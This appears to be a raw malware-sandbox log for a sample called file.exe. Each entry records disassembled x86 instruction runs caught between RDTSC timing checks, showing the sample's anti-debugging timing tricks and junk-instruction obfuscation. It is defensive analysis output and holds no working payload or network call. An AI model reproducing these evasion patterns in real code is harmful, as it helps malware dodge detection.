Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDDD4 second address: DCDDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDDDA second address: DCDDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F52D87EB82Ch 0x0000000b ja 00007F52D87EB826h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDDEE second address: DCDDF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCDF5D second address: DCDF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52D87EB835h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE0DE second address: DCE0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE0E2 second address: DCE105 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F52D87EB82Eh 0x0000000e jc 00007F52D87EB826h 0x00000014 pop edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0DBF second address: DD0DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0DC3 second address: DD0DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0DC9 second address: DD0DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0DCF second address: DD0E32 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F52D87EB828h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jnc 00007F52D87EB826h 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+122D29CAh], esi 0x00000035 mov dword ptr [ebp+122D17C2h], ecx 0x0000003b call 00007F52D87EB829h 0x00000040 push ecx 0x00000041 push ecx 0x00000042 push edx 0x00000043 pop edx 0x00000044 pop ecx 0x00000045 pop ecx 0x00000046 push eax 0x00000047 jng 00007F52D87EB832h 0x0000004d jbe 00007F52D87EB82Ch 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0E32 second address: DD0E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0E3E second address: DD0E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007F52D87EB826h 0x0000000e jmp 00007F52D87EB838h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F52D87EB826h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0E72 second address: DD0E8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0E8D second address: DD0E97 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F52D87EB82Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0E97 second address: DD0EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0FF1 second address: DD0FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0FF5 second address: DD1017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov dx, si 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e adc esi, 39BD87CFh 0x00000014 pop edx 0x00000015 push FE7E5F8Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1017 second address: DD102E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB833h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD10EF second address: DD1114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F52D91A335Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1114 second address: DD111A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD111A second address: DD114E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3363h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnp 00007F52D91A335Eh 0x00000011 jns 00007F52D91A3358h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jbe 00007F52D91A3360h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD114E second address: DD1171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov esi, 5B717683h 0x0000000d lea ebx, dword ptr [ebp+12454CD5h] 0x00000013 mov esi, dword ptr [ebp+122D2BFEh] 0x00000019 push eax 0x0000001a jc 00007F52D87EB82Eh 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11DD second address: DD11E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11E1 second address: DD11EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11EB second address: DD1213 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, dword ptr [ebp+122D2DB2h] 0x00000011 mov ecx, ebx 0x00000013 push 00000000h 0x00000015 push F8E1D26Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d jmp 00007F52D91A335Ah 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1213 second address: DD12A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 071E2E16h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F52D87EB828h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 jmp 00007F52D87EB839h 0x0000002e push 00000003h 0x00000030 mov edx, 1C949B04h 0x00000035 push 00000000h 0x00000037 mov di, dx 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F52D87EB828h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 0000001Ch 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 push ebx 0x00000057 mov dword ptr [ebp+122D2FEEh], esi 0x0000005d pop edx 0x0000005e push 4ECB6E75h 0x00000063 push eax 0x00000064 push edx 0x00000065 jl 00007F52D87EB82Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD12A1 second address: DD12A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD12A5 second address: DD12B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB82Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD12B7 second address: DD1316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7134918Bh 0x0000000f or dx, 6AB8h 0x00000014 lea ebx, dword ptr [ebp+12454CE0h] 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F52D91A3358h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D2FEEh], ecx 0x0000003a call 00007F52D91A335Dh 0x0000003f mov dword ptr [ebp+122D17C2h], eax 0x00000045 pop esi 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1316 second address: DD131A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD131A second address: DD132E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF68F second address: DEF6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F52D87EB82Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEF6A7 second address: DEF6AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF21 second address: DEFF29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF29 second address: DEFF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F52D91A3356h 0x0000000a jmp 00007F52D91A3360h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF43 second address: DEFF4E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEFF4E second address: DEFF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0216 second address: DF021F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF021F second address: DF0248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A3362h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F52D91A3356h 0x00000016 jbe 00007F52D91A3356h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF0545 second address: DF0566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D87EB830h 0x00000009 jmp 00007F52D87EB82Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF06E7 second address: DF06EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB11BB second address: DB11CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jmp 00007F52D87EB82Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF09E5 second address: DF0A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F52D91A335Ah 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jo 00007F52D91A3356h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE6BD second address: DBE6E0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F52D87EB826h 0x00000008 jmp 00007F52D87EB831h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007F52D87EB82Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE6E0 second address: DBE6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jbe 00007F52D91A3356h 0x0000000f jl 00007F52D91A3356h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE6F7 second address: DBE6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE6FC second address: DBE711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D91A3361h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7DE0 second address: DF7DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6735 second address: DF673A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF821B second address: DF8238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F52D87EB837h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB149 second address: DFB153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB153 second address: DFB158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB29F second address: DFB2CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F52D91A3367h 0x0000000c jmp 00007F52D91A3362h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB2CF second address: DFB2DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F52D87EB826h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB2DB second address: DFB30A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 jmp 00007F52D91A3362h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F52D91A3363h 0x00000015 jmp 00007F52D91A335Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB450 second address: DFB461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F52D87EB826h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB461 second address: DFB469 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB469 second address: DFB47C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F52D87EB826h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jo 00007F52D87EB826h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB47C second address: DFB482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBA09 second address: DFBA2C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007F52D87EB826h 0x00000011 jmp 00007F52D87EB82Dh 0x00000016 push esi 0x00000017 pop esi 0x00000018 push esi 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBBE6 second address: DFBC01 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F52D91A335Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBC01 second address: DFBC06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBC06 second address: DFBC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBC13 second address: DFBC17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFF07 second address: DFFF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFF11 second address: DFFF38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F52D87EB826h 0x0000000a popad 0x0000000b pop eax 0x0000000c jo 00007F52D87EB865h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F52D87EB831h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFF38 second address: DFFF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFF3C second address: DFFF5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F52D87EB826h 0x0000000e jmp 00007F52D87EB832h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02044 second address: E02048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E021B4 second address: E021D8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F52D87EB837h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E023A8 second address: E023AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02C1F second address: E02C31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02D38 second address: E02D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02FAB second address: E02FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F52D87EB830h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E03098 second address: E030AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D91A335Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E030AA second address: E030B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E030B7 second address: E030C9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F52D91A3356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F52D91A3356h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E030C9 second address: E030CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E031EC second address: E03206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F52D91A335Bh 0x0000000d xchg eax, ebx 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E036EA second address: E036EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E036EF second address: E03768 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F52D91A3364h 0x00000008 jmp 00007F52D91A335Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 or esi, dword ptr [ebp+122D3072h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push esi 0x0000001d call 00007F52D91A3358h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], esi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc esi 0x00000030 push esi 0x00000031 ret 0x00000032 pop esi 0x00000033 ret 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F52D91A3358h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000017h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 mov esi, edi 0x00000052 push ebx 0x00000053 mov dword ptr [ebp+12475E8Ah], ebx 0x00000059 pop edi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05C1E second address: E05C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6E54 second address: DC6E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
